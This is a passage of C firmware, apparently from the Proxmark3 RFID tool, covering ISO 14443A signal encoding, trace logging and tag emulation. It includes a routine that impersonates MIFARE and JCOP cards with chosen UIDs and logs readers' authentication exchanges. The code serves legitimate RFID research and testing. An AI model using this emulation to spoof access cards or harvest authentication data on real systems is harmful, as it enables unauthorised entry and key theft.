        ToSend[++ToSendMax] = SEC_D;

        uint8_t b = cmd;
        for(i = 0; i < 4; i++) {
                if(b & 1) {
                        ToSend[++ToSendMax] = SEC_D;
                        LastProxToAirDuration = 8 * ToSendMax - 4;
                } else {
                        ToSend[++ToSendMax] = SEC_E;
                        LastProxToAirDuration = 8 * ToSendMax;
                }
                b >>= 1;
        }

        // Send stopbit
        ToSend[++ToSendMax] = SEC_F;

        // Convert from last byte pos to length
        ToSendMax++;
}


static uint8_t *LastReaderTraceTime = NULL;

static void EmLogTraceReader(void) {
        // remember last reader trace start to fix timing info later
        LastReaderTraceTime = BigBuf_get_addr() + BigBuf_get_traceLen();
        LogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true);
}


static void FixLastReaderTraceTime(uint32_t tag_StartTime) {
        uint32_t reader_EndTime = Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG;
        uint32_t reader_StartTime = Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG;
        uint16_t reader_modlen = reader_EndTime - reader_StartTime;
        uint16_t approx_fdt = tag_StartTime - reader_EndTime;
        uint16_t exact_fdt = (approx_fdt - 20 + 32)/64 * 64 + 20;
        reader_StartTime = tag_StartTime - exact_fdt - reader_modlen;
        LastReaderTraceTime[0] = (reader_StartTime >> 0) & 0xff;
        LastReaderTraceTime[1] = (reader_StartTime >> 8) & 0xff;
        LastReaderTraceTime[2] = (reader_StartTime >> 16) & 0xff;
        LastReaderTraceTime[3] = (reader_StartTime >> 24) & 0xff;
}

        
static void EmLogTraceTag(uint8_t *tag_data, uint16_t tag_len, uint8_t *tag_Parity, uint32_t ProxToAirDuration) {
        uint32_t tag_StartTime = LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG;
        uint32_t tag_EndTime = (LastTimeProxToAirStart + ProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG;
        LogTrace(tag_data, tag_len, tag_StartTime, tag_EndTime, tag_Parity, false);
        FixLastReaderTraceTime(tag_StartTime);
}


//-----------------------------------------------------------------------------
// Wait for commands from reader
// Stop when button is pressed
// Or return true when command is captured
//-----------------------------------------------------------------------------
static int GetIso14443aCommandFromReader(uint8_t *received, uint8_t *parity, int *len)
{
    // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen
    // only, since we are receiving, not transmitting).
    // Signal field is off with the appropriate LED
    LED_D_OFF();
    FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);

    // Now run a `software UART' on the stream of incoming samples.
        UartInit(received, parity);

        // clear RXRDY:
    uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;

    for(;;) {
        WDT_HIT();

        if(BUTTON_PRESS()) return false;
                
        if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
            b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
                        if(MillerDecoding(b, 0)) {
                                *len = Uart.len;
                                EmLogTraceReader();
                                return true;
                        }
                }
    }
}


static int EmSend4bitEx(uint8_t resp);
int EmSend4bit(uint8_t resp);
static int EmSendCmdExPar(uint8_t *resp, uint16_t respLen, uint8_t *par);
int EmSendCmdEx(uint8_t *resp, uint16_t respLen);
int EmSendPrecompiledCmd(tag_response_info_t *response_info);


static bool prepare_tag_modulation(tag_response_info_t* response_info, size_t max_buffer_size) {
        // Example response, answer to MIFARE Classic read block will be 16 bytes + 2 CRC = 18 bytes
        // This will need the following byte array for a modulation sequence
        //    144        data bits (18 * 8)
        //     18        parity bits
        //      2        Start and stop
        //      1        Correction bit (Answer in 1172 or 1236 periods, see FPGA)
        //      1        just for the case
        // ----------- +
        //    166 bytes, since every bit that needs to be send costs us a byte
        //
 
 
  // Prepare the tag modulation bits from the message
  GetParity(response_info->response, response_info->response_n, &(response_info->par));
  CodeIso14443aAsTagPar(response_info->response,response_info->response_n, &(response_info->par));
  
  // Make sure we do not exceed the free buffer space
  if (ToSendMax > max_buffer_size) {
    Dbprintf("Out of memory, when modulating bits for tag answer:");
    Dbhexdump(response_info->response_n, response_info->response, false);
    return false;
  }
  
  // Copy the byte array, used for this modulation to the buffer position
  memcpy(response_info->modulation, ToSend, ToSendMax);
  
  // Store the number of bytes that were used for encoding/modulation and the time needed to transfer them
  response_info->modulation_n = ToSendMax;
  response_info->ProxToAirDuration = LastProxToAirDuration;
  
  return true;
}


// "precompile" responses. There are 7 predefined responses with a total of 28 bytes data to transmit.
// Coded responses need one byte per bit to transfer (data, parity, start, stop, correction) 
// 28 * 8 data bits, 28 * 1 parity bits, 7 start bits, 7 stop bits, 7 correction bits for the modulation
// -> need 273 bytes buffer
#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE 273

bool prepare_allocated_tag_modulation(tag_response_info_t* response_info, uint8_t **buffer, size_t *max_buffer_size) {

  // Retrieve and store the current buffer index
  response_info->modulation = *buffer;
  
  // Forward the prepare tag modulation function to the inner function
  if (prepare_tag_modulation(response_info, *max_buffer_size)) {
    // Update the free buffer offset and the remaining buffer size
    *buffer += ToSendMax;
        *max_buffer_size -= ToSendMax;
    return true;
  } else {
    return false;
  }
}

//-----------------------------------------------------------------------------
// Main loop of simulated tag: receive commands from reader, decide what
// response to send, and send it.
//-----------------------------------------------------------------------------
void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data)
{
        uint8_t sak;

        // The first response contains the ATQA (note: bytes are transmitted in reverse order).
        uint8_t response1[2];
        
        switch (tagType) {
                case 1: { // MIFARE Classic
                        // Says: I am Mifare 1k - original line
                        response1[0] = 0x04;
                        response1[1] = 0x00;
                        sak = 0x08;
                } break;
                case 2: { // MIFARE Ultralight
                        // Says: I am a stupid memory tag, no crypto
                        response1[0] = 0x04;
                        response1[1] = 0x00;
                        sak = 0x00;
                } break;
                case 3: { // MIFARE DESFire
                        // Says: I am a DESFire tag, ph33r me
                        response1[0] = 0x04;
                        response1[1] = 0x03;
                        sak = 0x20;
                } break;
                case 4: { // ISO/IEC 14443-4
                        // Says: I am a javacard (JCOP)
                        response1[0] = 0x04;
                        response1[1] = 0x00;
                        sak = 0x28;
                } break;
                case 5: { // MIFARE TNP3XXX
                        // Says: I am a toy
                        response1[0] = 0x01;
                        response1[1] = 0x0f;
                        sak = 0x01;
                } break;                
                default: {
                        Dbprintf("Error: unkown tagtype (%d)",tagType);
                        return;
                } break;
        }
        
        // The second response contains the (mandatory) first 24 bits of the UID
        uint8_t response2[5] = {0x00};

        // Check if the uid uses the (optional) part
        uint8_t response2a[5] = {0x00};
        
        if (uid_2nd) {
                response2[0] = 0x88;
                num_to_bytes(uid_1st,3,response2+1);
                num_to_bytes(uid_2nd,4,response2a);
                response2a[4] = response2a[0] ^ response2a[1] ^ response2a[2] ^ response2a[3];

                // Configure the ATQA and SAK accordingly
                response1[0] |= 0x40;
                sak |= 0x04;
        } else {
                num_to_bytes(uid_1st,4,response2);
                // Configure the ATQA and SAK accordingly
                response1[0] &= 0xBF;
                sak &= 0xFB;
        }

        // Calculate the BitCountCheck (BCC) for the first 4 bytes of the UID.
        response2[4] = response2[0] ^ response2[1] ^ response2[2] ^ response2[3];

        // Prepare the mandatory SAK (for 4 and 7 byte UID)
        uint8_t response3[3]  = {0x00};
        response3[0] = sak;
        ComputeCrc14443(CRC_14443_A, response3, 1, &response3[1], &response3[2]);

        // Prepare the optional second SAK (for 7 byte UID), drop the cascade bit
        uint8_t response3a[3]  = {0x00};
        response3a[0] = sak & 0xFB;
        ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]);

        uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce
        uint8_t response6[] = { 0x04, 0x58, 0x80, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS: 
        // Format byte = 0x58: FSCI=0x08 (FSC=256), TA(1) and TC(1) present, 
        // TA(1) = 0x80: different divisors not supported, DR = 1, DS = 1
        // TB(1) = not present. Defaults: FWI = 4 (FWT = 256 * 16 * 2^4 * 1/fc = 4833us), SFGI = 0 (SFG = 256 * 16 * 2^0 * 1/fc = 302us)
        // TC(1) = 0x02: CID supported, NAD not supported
        ComputeCrc14443(CRC_14443_A, response6, 4, &response6[4], &response6[5]);

        #define TAG_RESPONSE_COUNT 7
        tag_response_info_t responses[TAG_RESPONSE_COUNT] = {
                { .response = response1,  .response_n = sizeof(response1)  },  // Answer to request - respond with card type
                { .response = response2,  .response_n = sizeof(response2)  },  // Anticollision cascade1 - respond with uid
                { .response = response2a, .response_n = sizeof(response2a) },  // Anticollision cascade2 - respond with 2nd half of uid if asked
                { .response = response3,  .response_n = sizeof(response3)  },  // Acknowledge select - cascade 1
                { .response = response3a, .response_n = sizeof(response3a) },  // Acknowledge select - cascade 2
                { .response = response5,  .response_n = sizeof(response5)  },  // Authentication answer (random nonce)
                { .response = response6,  .response_n = sizeof(response6)  },  // dummy ATS (pseudo-ATR), answer to RATS
        };

        // Allocate 512 bytes for the dynamic modulation, created when the reader queries for it
        // Such a response is less time critical, so we can prepare them on the fly
        #define DYNAMIC_RESPONSE_BUFFER_SIZE 64
        #define DYNAMIC_MODULATION_BUFFER_SIZE 512
        uint8_t dynamic_response_buffer[DYNAMIC_RESPONSE_BUFFER_SIZE];
        uint8_t dynamic_modulation_buffer[DYNAMIC_MODULATION_BUFFER_SIZE];
        tag_response_info_t dynamic_response_info = {
                .response = dynamic_response_buffer,
                .response_n = 0,
                .modulation = dynamic_modulation_buffer,
                .modulation_n = 0
        };
  
        // We need to listen to the high-frequency, peak-detected path.
        iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);

        BigBuf_free_keep_EM();

        // allocate buffers:
        uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
        uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE);
        uint8_t *free_buffer_pointer = BigBuf_malloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE);
        size_t free_buffer_size = ALLOCATED_TAG_MODULATION_BUFFER_SIZE;
        // clear trace
        clear_trace();
        set_tracing(true);

        // Prepare the responses of the anticollision phase
        // there will be not enough time to do this at the moment the reader sends it REQA
        for (size_t i=0; i<TAG_RESPONSE_COUNT; i++) {
                prepare_allocated_tag_modulation(&responses[i], &free_buffer_pointer, &free_buffer_size);
        }

        int len = 0;

        // To control where we are in the protocol
        int order = 0;
        int lastorder;

        // Just to allow some checks
        int happened = 0;
        int happened2 = 0;
        int cmdsRecvd = 0;

        cmdsRecvd = 0;
        tag_response_info_t* p_response;

        LED_A_ON();
        for(;;) {
                // Clean receive command buffer
                if(!GetIso14443aCommandFromReader(receivedCmd, receivedCmdPar, &len)) {
                        DbpString("Button press");
                        break;
                }

                p_response = NULL;
                
                // Okay, look at the command now.
                lastorder = order;
                if(receivedCmd[0] == 0x26) { // Received a REQUEST
                        p_response = &responses[0]; order = 1;
                } else if(receivedCmd[0] == 0x52) { // Received a WAKEUP
                        p_response = &responses[0]; order = 6;
                } else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x93) {   // Received request for UID (cascade 1)
                        p_response = &responses[1]; order = 2;
                } else if(receivedCmd[1] == 0x20 && receivedCmd[0] == 0x95) {   // Received request for UID (cascade 2)
                        p_response = &responses[2]; order = 20;
                } else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x93) {   // Received a SELECT (cascade 1)
                        p_response = &responses[3]; order = 3;
                } else if(receivedCmd[1] == 0x70 && receivedCmd[0] == 0x95) {   // Received a SELECT (cascade 2)
                        p_response = &responses[4]; order = 30;
                } else if(receivedCmd[0] == 0x30) {     // Received a (plain) READ
                        EmSendCmdEx(data+(4*receivedCmd[1]),16);
                        // Dbprintf("Read request from reader: %x %x",receivedCmd[0],receivedCmd[1]);
                        // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below
                        p_response = NULL;
                } else if(receivedCmd[0] == 0x50) {     // Received a HALT
                        p_response = NULL;
                } else if(receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61) {   // Received an authentication request
                        p_response = &responses[5]; order = 7;
                } else if(receivedCmd[0] == 0xE0) {     // Received a RATS request
                        if (tagType == 1 || tagType == 2) {     // RATS not supported
                                EmSend4bit(CARD_NACK_NA);
                                p_response = NULL;
                        } else {
                                p_response = &responses[6]; order = 70;
                        }
                } else if (order == 7 && len == 8) { // Received {nr] and {ar} (part of authentication)
                        uint32_t nr = bytes_to_num(receivedCmd,4);
                        uint32_t ar = bytes_to_num(receivedCmd+4,4);
                        Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar);
                } else {
                        // Check for ISO 14443A-4 compliant commands, look at left nibble
                        switch (receivedCmd[0]) {

                                case 0x0B:
                                case 0x0A: { // IBlock (command)
                                  dynamic_response_info.response[0] = receivedCmd[0];
                                  dynamic_response_info.response[1] = 0x00;
                                  dynamic_response_info.response[2] = 0x90;
                                  dynamic_response_info.response[3] = 0x00;
                                  dynamic_response_info.response_n = 4;
                                } break;

                                case 0x1A:
                                case 0x1B: { // Chaining command
                                  dynamic_response_info.response[0] = 0xaa | ((receivedCmd[0]) & 1);
                                  dynamic_response_info.response_n = 2;
                                } break;

                                case 0xaa:
                                case 0xbb: {
                                  dynamic_response_info.response[0] = receivedCmd[0] ^ 0x11;
                                  dynamic_response_info.response_n = 2;
                                } break;
                                  
                                case 0xBA: { //
                                  memcpy(dynamic_response_info.response,"\xAB\x00",2);
                                  dynamic_response_info.response_n = 2;
                                } break;

                                case 0xCA:
                                case 0xC2: { // Readers sends deselect command
                                  memcpy(dynamic_response_info.response,"\xCA\x00",2);
                                  dynamic_response_info.response_n = 2;
                                } break;

                                default: {
                                        // Never seen this command before
                                        Dbprintf("Received unknown command (len=%d):",len);
                                        Dbhexdump(len,receivedCmd,false);
                                        // Do not respond
                                        dynamic_response_info.response_n = 0;
                                } break;
                        }
      
                        if (dynamic_response_info.response_n > 0) {
                                // Copy the CID from the reader query
                                dynamic_response_info.response[1] = receivedCmd[1];

                                // Add CRC bytes, always used in ISO 14443A-4 compliant cards
                                AppendCrc14443a(dynamic_response_info.response,dynamic_response_info.response_n);
                                dynamic_response_info.response_n += 2;
        
                                if (prepare_tag_modulation(&dynamic_response_info,DYNAMIC_MODULATION_BUFFER_SIZE) == false) {
                                        Dbprintf("Error preparing tag response");
                                        break;
                                }
                                p_response = &dynamic_response_info;
                        }
                }

                // Count number of wakeups received after a halt
                if(order == 6 && lastorder == 5) { happened++; }

                // Count number of other messages after a halt
                if(order != 6 && lastorder == 5) { happened2++; }

                if(cmdsRecvd > 999) {
                        DbpString("1000 commands later...");
                        break;
                }
                cmdsRecvd++;

                if (p_response != NULL) {
                        EmSendPrecompiledCmd(p_response);
                }
                
                if (!get_tracing()) {
                        Dbprintf("Trace Full. Simulation stopped.");
                        break;
                }
        }

        Dbprintf("%x %x %x", happened, happened2, cmdsRecvd);
        LED_A_OFF();
        BigBuf_free_keep_EM();
}


// prepare a delayed transfer. This simply shifts ToSend[] by a number
// of bits specified in the delay parameter.
static void PrepareDelayedTransfer(uint16_t delay)
{
        uint8_t bitmask = 0;
        uint8_t bits_to_shift = 0;
        uint8_t bits_shifted = 0;
        
        delay &= 0x07;
        if (delay) {
                for (uint16_t i = 0; i < delay; i++) {
                        bitmask |= (0x01 << i);
                }
                ToSend[ToSendMax++] = 0x00;
                for (uint16_t i = 0; i < ToSendMax; i++) {
                        bits_to_shift = ToSend[i] & bitmask;
                        ToSend[i] = ToSend[i] >> delay;
                        ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
                        bits_shifted = bits_to_shift;
                }
        }
}


//-------------------------------------------------------------------------------------
// Transmit the command (to the tag) that was placed in ToSend[].
// Parameter timing:
// if NULL: transfer at next possible time, taking into account
//                      request guard time, startup frame guard time and frame delay time
// if == 0:     transfer immediately and return time of transfer
// if != 0: delay transfer until time specified
//-------------------------------------------------------------------------------------
static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing)
{
        
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);

        uint32_t ThisTransferTime = 0;

        if (timing) {
                if(*timing == 0) {                                                                              // Measure time
                        *timing = (GetCountSspClk() + 8) & 0xfffffff8;
                } else {
                        PrepareDelayedTransfer(*timing & 0x00000007);           // Delay transfer (fine tuning - up to 7 MF clock ticks)
                }
                if(MF_DBGLEVEL >= 4 && GetCountSspClk() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
                while(GetCountSspClk() < (*timing & 0xfffffff8));               // Delay transfer (multiple of 8 MF clock ticks)
                LastTimeProxToAirStart = *timing;
        } else {
                ThisTransferTime = ((MAX(NextTransferTime, GetCountSspClk()) & 0xfffffff8) + 8);
                while(GetCountSspClk() < ThisTransferTime);
                LastTimeProxToAirStart = ThisTransferTime;
        }
        
        // clear TXRDY
        AT91C_BASE_SSC->SSC_THR = SEC_Y;

        uint16_t c = 0;
        for(;;) {
                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
                        AT91C_BASE_SSC->SSC_THR = cmd[c];
                        c++;
                        if(c >= len) {
                                break;
                        }
                }
        }
        
        NextTransferTime = MAX(NextTransferTime, LastTimeProxToAirStart + REQUEST_GUARD_TIME);
}


//-----------------------------------------------------------------------------
// Prepare reader command (in bits, support short frames) to send to FPGA
//-----------------------------------------------------------------------------
static void CodeIso14443aBitsAsReaderPar(const uint8_t *cmd, uint16_t bits, const uint8_t *parity)
{
        int i, j;
        int last;
        uint8_t b;

        ToSendReset();

        // Start of Communication (Seq. Z)
        ToSend[++ToSendMax] = SEC_Z;
        LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
        last = 0;

        size_t bytecount = nbytes(bits);
        // Generate send structure for the data bits
        for (i = 0; i < bytecount; i++) {
                // Get the current byte to send
                b = cmd[i];
                size_t bitsleft = MIN((bits-(i*8)),8);

                for (j = 0; j < bitsleft; j++) {
                        if (b & 1) {
                                // Sequence X
                                ToSend[++ToSendMax] = SEC_X;
                                LastProxToAirDuration = 8 * (ToSendMax+1) - 2;
                                last = 1;
                        } else {
                                if (last == 0) {
                                // Sequence Z
                                ToSend[++ToSendMax] = SEC_Z;
                                LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
                                } else {
                                        // Sequence Y
                                        ToSend[++ToSendMax] = SEC_Y;
                                        last = 0;
                                }
                        }
                        b >>= 1;
                }

                // Only transmit parity bit if we transmitted a complete byte
                if (j == 8 && parity != NULL) {
                        // Get the parity bit
                        if (parity[i>>3] & (0x80 >> (i&0x0007))) {
                                // Sequence X
                                ToSend[++ToSendMax] = SEC_X;
                                LastProxToAirDuration = 8 * (ToSendMax+1) - 2;
                                last = 1;
                        } else {
                                if (last == 0) {
                                        // Sequence Z
                                        ToSend[++ToSendMax] = SEC_Z;
                                        LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
                                } else {
                                        // Sequence Y
                                        ToSend[++ToSendMax] = SEC_Y;
                                        last = 0;
                                }
                        }
                }
        }

        // End of Communication: Logic 0 followed by Sequence Y
        if (last == 0) {
                // Sequence Z
                ToSend[++ToSendMax] = SEC_Z;
                LastProxToAirDuration = 8 * (ToSendMax+1) - 6;
        } else {
                // Sequence Y
                ToSend[++ToSendMax] = SEC_Y;
                last = 0;
        }
        ToSend[++ToSendMax] = SEC_Y;

        // Convert to length of command:
        ToSendMax++;
}


//-----------------------------------------------------------------------------
// Wait for commands from reader
// Stop when button is pressed (return 1) or field was gone (return 2)
// Or return 0 when command is captured
//-----------------------------------------------------------------------------
int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *parity)
{
        *len = 0;

        uint32_t timer = 0, vtime = 0;
        int analogCnt = 0;
        int analogAVG = 0;

        // Set ADC to read field strength
        AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST;
        AT91C_BASE_ADC->ADC_MR =
                                ADC_MODE_PRESCALE(63) |
                                ADC_MODE_STARTUP_TIME(1) |
                                ADC_MODE_SAMPLE_HOLD_TIME(15);
        AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_LOW);
        // start ADC
        AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
        
        // Run a 'software UART' on the stream of incoming samples.
        UartInit(received, parity);

        // Ensure that the FPGA Delay Queue is empty before we switch to TAGSIM_LISTEN
        do {
                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
                        AT91C_BASE_SSC->SSC_THR = SEC_F;
                        uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void) b;
                }
        } while (GetCountSspClk() < LastTimeProxToAirStart + LastProxToAirDuration + (FpgaSendQueueDelay>>3));

        // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen
        // only, since we are receiving, not transmitting).
        // Signal field is off with the appropriate LED
        LED_D_OFF();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);

        for(;;) {
                WDT_HIT();

                if (BUTTON_PRESS()) return 1;

                // test if the field exists
                if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_LOW)) {
                        analogCnt++;
                        analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_LOW];
                        AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
                        if (analogCnt >= 32) {
                                if ((MAX_ADC_HF_VOLTAGE_LOW * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
                                        vtime = GetTickCount();
                                        if (!timer) timer = vtime;
                                        // 50ms no field --> card to idle state
                                        if (vtime - timer > 50) return 2;
                                } else
                                        if (timer) timer = 0;
                                analogCnt = 0;
                                analogAVG = 0;
                        }
                }

                // receive and test the miller decoding
        if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
            uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
                        if(MillerDecoding(b, 0)) {
                                *len = Uart.len;
                                EmLogTraceReader();
                                return 0;
                        }
        }

        }
}


static int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen)
{
        uint8_t b;
        uint16_t i = 0;
        bool correctionNeeded;

        // Modulate Manchester
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD);

        // include correction bit if necessary
        if (Uart.bitCount == 7)
        {
                // Short tags (7 bits) don't have parity, determine the correct value from MSB
                correctionNeeded = Uart.output[0] & 0x40;
        }
        else
        {
                // Look at the last parity bit
                correctionNeeded = Uart.parity[(Uart.len-1)/8] & (0x80 >> ((Uart.len-1) & 7));
        }

        if(correctionNeeded) {
                // 1236, so correction bit needed
                i = 0;
        } else {
                i = 1;
        }

        // clear receiving shift register and holding register
        while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
        b = AT91C_BASE_SSC->SSC_RHR; (void) b;
        while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
        b = AT91C_BASE_SSC->SSC_RHR; (void) b;
        
        // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line)
        for (uint16_t j = 0; j < 5; j++) {      // allow timeout - better late than never
                while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY));
                if (AT91C_BASE_SSC->SSC_RHR) break;
        }

        LastTimeProxToAirStart = (GetCountSspClk() & 0xfffffff8) + (correctionNeeded?8:0);

        // send cycle
        for(; i < respLen; ) {
                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
                        AT91C_BASE_SSC->SSC_THR = resp[i++];
                        FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
                }
        
                if(BUTTON_PRESS()) {
                        break;
                }
        }

        return 0;
}


static int EmSend4bitEx(uint8_t resp){
        Code4bitAnswerAsTag(resp);
        int res = EmSendCmd14443aRaw(ToSend, ToSendMax);
        // do the tracing for the previous reader request and this tag answer:
        EmLogTraceTag(&resp, 1, NULL, LastProxToAirDuration);
        return res;
}


int EmSend4bit(uint8_t resp){
        return EmSend4bitEx(resp);
}


static int EmSendCmdExPar(uint8_t *resp, uint16_t respLen, uint8_t *par){
        CodeIso14443aAsTagPar(resp, respLen, par);
        int res = EmSendCmd14443aRaw(ToSend, ToSendMax);
        // do the tracing for the previous reader request and this tag answer:
        EmLogTraceTag(resp, respLen, par, LastProxToAirDuration);
        return res;
}


int EmSendCmdEx(uint8_t *resp, uint16_t respLen){
        uint8_t par[MAX_PARITY_SIZE];
        GetParity(resp, respLen, par);
        return EmSendCmdExPar(resp, respLen, par);
}


int EmSendCmd(uint8_t *resp, uint16_t respLen){
        uint8_t par[MAX_PARITY_SIZE];
        GetParity(resp, respLen, par);
        return EmSendCmdExPar(resp, respLen, par);
}


int EmSendCmdPar(uint8_t *resp, uint16_t respLen, uint8_t *par){
        return EmSendCmdExPar(resp, respLen, par);
}


int EmSendPrecompiledCmd(tag_response_info_t *response_info) {
        int ret = EmSendCmd14443aRaw(response_info->modulation, response_info->modulation_n);
        // do the tracing for the previous reader request and this tag answer:
        EmLogTraceTag(response_info->response, response_info->response_n, &(response_info->par), response_info->ProxToAirDuration);
        return ret;
}


//-----------------------------------------------------------------------------
// Wait a certain time for tag response
//  If a response is captured return true
//  If it takes too long return false
//-----------------------------------------------------------------------------
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset)
{
        uint32_t c;
        
        // Set FPGA mode to "reader listen mode", no modulation (listen
        // only, since we are receiving, not transmitting).
        // Signal field is on with the appropriate LED
        LED_D_ON();
        FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
        
        // Now get the answer from the card
        DemodInit(receivedResponse, receivedResponsePar);

        // clear RXRDY:
    uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;

        c = 0;
        for(;;) {
                WDT_HIT();

                if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
                        b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
                        if(ManchesterDecoding(b, offset, 0)) {
                                NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/16 + FRAME_DELAY_TIME_PICC_TO_PCD);
                                return true;
                        } else if (c++ > iso14a_timeout && Demod.state == DEMOD_UNSYNCD) {
                                return false; 
                        }
                }
        }
}


void ReaderTransmitBitsPar(uint8_t* frame, uint16_t bits, uint8_t *par, uint32_t *timing)
{
        CodeIso14443aBitsAsReaderPar(frame, bits, par);
  
        // Send command to tag
        TransmitFor14443a(ToSend, ToSendMax, timing);
        if(trigger)
                LED_A_ON();
  
        // Log reader command in trace buffer
        LogTrace(frame, nbytes(bits), LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_READER, (LastTimeProxToAirStart + LastProxToAirDuration)*16 + DELAY_ARM2AIR_AS_READER, par, true);
}


void ReaderTransmitPar(uint8_t* frame, uint16_t len, uint8_t *par, uint32_t *timing)
{
  ReaderTransmitBitsPar(frame, len*8, par, timing);
}


static void ReaderTransmitBits(uint8_t* frame, uint16_t len, uint32_t *timing)
{
  // Generate parity and redirect
  uint8_t par[MAX_PARITY_SIZE];
  GetParity(frame, len/8, par);
  ReaderTransmitBitsPar(frame, len, par, timing);
}


void ReaderTransmit(uint8_t* frame, uint16_t len, uint32_t *timing)
{
  // Generate parity and redirect
  uint8_t par[MAX_PARITY_SIZE];
  GetParity(frame, len, par);
  ReaderTransmitBitsPar(frame, len*8, par, timing);
}


static int ReaderReceiveOffset(uint8_t* receivedAnswer, uint16_t offset, uint8_t *parity)
{
        if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, offset)) return false;
        LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false);
        return Demod.len;
}


int ReaderReceive(uint8_t *receivedAnswer, uint8_t *parity)
{
        if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, 0)) return false;
        LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false);
        return Demod.len;
}


static void iso14a_set_ATS_times(uint8_t *ats) {

        uint8_t tb1;
        uint8_t fwi, sfgi; 
        uint32_t fwt, sfgt;
        
        if (ats[0] > 1) {                                                       // there is a format byte T0
                if ((ats[1] & 0x20) == 0x20) {                  // there is an interface byte TB(1)
                        if ((ats[1] & 0x10) == 0x10) {          // there is an interface byte TA(1) preceding TB(1)
                                tb1 = ats[3];
                        } else {
                                tb1 = ats[2];
                        }
                        fwi = (tb1 & 0xf0) >> 4;                        // frame waiting time integer (FWI)
                        if (fwi != 15) {
                                fwt = 256 * 16 * (1 << fwi);    // frame waiting time (FWT) in 1/fc
                                iso14a_set_timeout(fwt/(8*16));
                        }
                        sfgi = tb1 & 0x0f;                                      // startup frame guard time integer (SFGI)
                        if (sfgi != 0 && sfgi != 15) {
                                sfgt = 256 * 16 * (1 << sfgi);  // startup frame guard time (SFGT) in 1/fc
                                NextTransferTime = MAX(NextTransferTime, Demod.endTime + (sfgt - DELAY_AIR2ARM_AS_READER - DELAY_ARM2AIR_AS_READER)/16);
                        }
                }
        }
}


static int GetATQA(uint8_t *resp, uint8_t *resp_par) {

